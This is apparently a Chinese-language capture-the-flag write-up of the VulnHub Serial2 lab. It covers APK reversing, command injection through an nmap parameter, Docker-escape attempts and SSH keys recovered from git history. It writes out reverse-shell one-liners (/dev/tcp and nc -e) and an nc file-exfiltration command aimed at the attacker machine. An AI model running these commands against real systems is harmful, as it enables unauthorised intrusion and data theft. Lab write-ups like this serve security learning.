vulnhub-serial2-又一次啥也不是的靶机解题

照例先瞎吹一下:

        这个靶机我并没有做到root权限,具体原因在后记里写了,我只想把这个解题过程记录下来,如果你想把这个靶机做到root的话,请换一篇吧。这个靶机是我翻硬盘的时候发现的,在我的记忆里好像是19年的时候下的了,因为是“困难”难度,就一直没有动,今天还是做个了结吧。期间因为换了系统,重新导入了靶机,然后靶机IP变了。

前言:

kali:192.168.1.4

目标机:192.168.1.43,下载apk之后改为192.168.1.5

信息收集:

漏洞挖掘:

       三个端口,做靶机的情况下,困难难度可以把ssh爆破放到最后考虑,可以先看10000端口和80端口,10000端口比较奇怪,我们就先看看10000端口吧。

得,给了我这么一个图,看出root的密码未知,然后一个vim,和一个backdoor,然而没思路,或许存在vim的信息泄露?但是也没给出文件呀,一会儿再看看吧。访问80端口是一个安卓app的下载网页,点击后真的可以获取一个apk文件。

先获取该apk,然后走走web方向的思路。先简单粗暴一点,直接扫描文件。10000端口直接扫不了,那个或许就是个后门(图略,比较憨,写到脸上的后门都不知道)。从80端口的文件扫描结果来看,出现一个express文件夹以及route文件,又不知道express是啥,就去百度了一下,只知道是个node.js的框架,既然是框架,说不定此处存在现成漏洞,可以来一波。也有其他文件,每一个文件都可以访问一下,比如api文件夹。

从api的请头来看,感觉漏洞指向了Express,api返回的是401,页面一片空白,好像没啥可利用的点,user是一段报错就没了,返回304。express和route文件夹都返回了一段报错(图略)。我们可以有针对性的找一找有关Express和其route的漏洞。

Express的漏洞无论访问哪个文件都是一段报错(能百度到的危险漏洞,试了好长时间,exploit也尝试了),不知道是虚拟机问题还是怎么了。但也不一定,还有一个10000端口的东西,是个后门,需要从kali访问过去的样子,尝试使用nc正向访问(nc 192.168.1.43 10000)。

需要密码,可以尝试爆破一波。如果这条路也走不通,就只能去尝试逆向apk了。不过就看前面那个root也感觉走不通。最后还是去逆向apk了,现学现卖。先使用apktool逆向出dex文件(有的是改成zip文件,然后解压获得dex文件),再使用dex2jar将dex转化为jar文件,再将jar文件转化成java代码文件(jadx-gui,后来发现jadx-gui可以一步到位,我直接好家伙,但是有个问题就在于我的jadx-gui没有办法显示出xml文件)。

接下来痛苦的阅读代码。此时一位开发大佬路过,突然两眼放光,于是菜鸡本菜与大佬发生了跨越太平洋的对话:

大佬:“你可以去看看activity文件,那些页面逻辑都在里面。”

我:“???activity是啥?在哪?”

大佬:“你也可以看看xml文件,里面会有一些信息。”

我:“???哥,在哪?那里面怎么会有信息?”

大佬:“。。。。。。。。”

最终在大佬的指点下,打开了R分支(后面直接使用jadx-gui反编译apk),然后就看到了这么个玩意儿,谁能告诉我这是代表啥:

我以为这都不影响啥,于是愉快的周末在宿舍读了两天代码,然后连APP请求后端的url都没发现(好像确实没有!),老阔疼。后来在我深思熟虑、左思右想、思前想后之后!没错!我百度了到了一位大佬的博客!然后找到了答案,那就是去一个strings.xml文件里找一个basic_auth的basic验证密码,然后访问前面在80端口api文件夹。于是我看到了这么个玩意儿:

就在我不知道咋办的时候,突然想起来之前使用apktool反编译出来的xml,于是一个一个看strings.xml的文件,这也是个头疼的活。最后还是找到了这个值。

至于为什么要找这个值,我后来仔细回想,发现在网页中直接告诉我了,而对应的api目录需要身份验证,因此可以尝试或许这个api目录就需要这个身份认证。(都是推测思路啦,毕竟我没想到这)

之前单独爆破api文件夹里面都是401报错,没有获得任何信息,现在有了身份认证的密码,尝试带上这个去访问api目录或者再爆破该目录。接下来在bp中拦截包,修改http头,查看访问情况。

访问成功了(详图略,出现正确码200),但是没有任何信息,因此可以使用bp进行目录爆破,看看还有没有可利用的目录,没有的话就还要接着去看安卓逆向代码了。

使用默认字典爆破后发现一个ip的目录,使用自定义字典发现了6个文件,其实就3个。分别访问一下(ip,nmap,arp,以页面源码方式展示,方便查看),

从访问了三个页面来看,推测此处可以执行系统命令,而可能存在交互的地方就是nmap文件,根据提示nmap文件可能存在一个ip的参数,输入kali机的ip进行尝试。

响应体发生变化,从错误提示得知执行的是/bin/sh,对此我们可以确定确实存在ip参数,并且确定此处执行了nmap命令。我们可以在ip之后进行分隔,进一步确定是否可以执行命令。

查看后发现是root权限,哈哈,如果反弹成功那岂不是就结束了,但是困难靶机怎么会这么容易?接下来尝试反弹shell(/bin/sh -i >& /dev/tcp/192.168.1.4/53 0>&1),但是并不成功(/bin/bash也不行),使用53端口是因为防止防火墙策略不允许访问非服务端口。

回想起来突然想起10000端口的后门,一直都没有密码,回想起来也没有试过解密base_auth的base64解码作为密码,但是确实不是。

尝试使用这个命令执行去寻找这个后门的密码。然鹅!没有找到后门!还是回到我们的反弹shell上。又去翻了一遍之前的笔记,反弹shell方法很多,除了直接使用bash -i外,还可使用程序语言执行,还有nc,而我整好忽略了nc,因此尝试nc反弹。在此之前可以看看是否存在nc,然后反弹(nc 192.168.1.4 53 -e /bin/sh)。注:sh和bash是有区别的没使用sh从上面的nmap命令执行确认的。

反弹成功。我好像没有办法调用bash,那就将就一下吧。

提权:

查看当前路径下有个todo.txt,查看后内容为让用户sk4为项目创建一个镜像,果然不会那么容易就获得最高权限,我们可能没有接触到本机。

进入根目录发现一个.dockerenv的文件,因此确定我此时在docker环境里。

根据内容猜测本机可能存在一个sk4的用户,暂时先放置一下。我们可以尝试docker逃逸。docker逃逸有内核漏洞造成,配置不当造成以及软件设计存在缺陷。内核漏洞使用cve2016-5736,软件设计缺陷漏洞有cve-2019-5736,cve-2019-14271。经过尝试,都没有成功(图略,我们还是长话短说吧,cve-2019-5736需要宿主机交互就没有尝试了)。虽然很累人,但是还是让人学到了docker逃逸的内容。此时瞬间陷入了困境,逃不出去就像在蜜罐,等着封IP,等着被人溯源。因为也找不到作者放置的后门在什么地方,所以推测在宿主机中,对此还是从这个后门入手,接下来的目标主要寻找一下是否有密码之类的东西可以去连接后门,当然也要收集一些其他信息。我突然想起当时寻找后门文件的时候发现了一个.git文件夹,因为已经拿到镜像的root权限,认为这就是我们访问的网站的源码,所以觉得这是个没用的东西,就一直没看。回忆之前做过的靶机,或许这个里面就有我想要的密码。虽然不是很相信,但是还是抱着试一试的心态去看一下。

为了方便阅读就把这个文件夹给打包下载到本机查看,实在懒的话可以把他放到可以访问的地方,然后直接githack工具给拉下来,这样还省去了寻找的痛苦。我选择第二种。首先复制整个.git文件夹到serial2.apk的文件夹(ls *),获得serial2.apk的url,然后githack(python GitHack.py http://192.168.1.5/.git)。

由于拉取的内容过多,因此只截取一下拉取结果就行,感觉光这个找文件都头疼呀。

从目录结构来看感觉就是把网站源码给拉出来了。

然而并没有发现任何可用文件,我用tree命令,然后翻了翻文件,啥也没有。5000多行,看的头疼。最后问题还真就出在.git文件夹里,需要我们手动拉下来,把整个文件夹拉下来,然后查看上传记录。接下来先压缩.git文件夹(public文件夹下,tar -zcvf git.tar.gz ./.git),然后下载下来(访问IP/git.tar.gz)。

解压后查看提交日志,发现提交过两次,第二次提示keys removed,说明第一次提交中可能有我们需要的东西,因此我们把第一次提交的内容拉下来看看,注意图片中的路径变化。

拉下来后发现多了两个文件,这不就是一个公钥和一个私钥嘛。

到这一步内心掩饰不住的小激动,按照往常经验,这应该就是该靶机最后一步了吧哈哈哈,我可以快乐的去连接root了,然而并没有成功,留下失败的痕迹。

回忆起来,我们获得一个sk4的用户名,应该时连接这个用户的,并且我推测我们最终的root权限应该是需要找到后门的密码,然后连接获得。

重新给id_rsa赋权600,之前是644,重新登录后成功逃逸到本机。

然后接着提权,接下来寻找作者留下的后门。后门中有个backd00r的字样,虽然不知道啥名字,但是可以用它来搜一搜,或者搜搜shell、back等字样。

当然还是比较顺利,以来就找到了,可以先去查看一下权限。

我们拥有读权限,因此我们可以直接复制到sk4拥有权限的目录下,然后下载下来。我们可以使用nc来进行传输,然后逆向。kali执行nc -lvp 53 > backdoor,靶机执行nc 192.168.1.4 53 < backd00r(图略)。我们直接进入逆向环节,因为是二进制文件,所以可以strings命令看一看,或许直接就看见密码了呢。然而残酷的现实难住了我,密码是看到了,但是发现这好像就是个陷阱,因为似乎所有命令的输出结果都被定制了。

好吧,提权受阻,好惨。在我不死心的情况下还是尝试登录。

呼~~~~,太难了,为什么呀,为什么要如此折磨我。使用vim查看16进制(不看16进制也可以发现,只是我没有注意),发现是一个elf文件,还是逆向吧,我感觉作者应该就是需要我们利用这个程序进行提权。

后记:

       之后的逆向就真的不会了,这个靶机就先做到这把,如果未来有一天学会逆向了(努力吧),再进行补充。这个靶机真是做了很长时间,从3月初做到4月初,当然都是因为菜和懒。我真的很想一步步提权到root,但是真的是心有余而力不足,逆向的基础实在太差,也没有那么多时间,脑子也不那么灵光,就连现学现卖都没有办法继续往下做了。所以就这样结束吧,又一次啥也不是的靶机解题。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值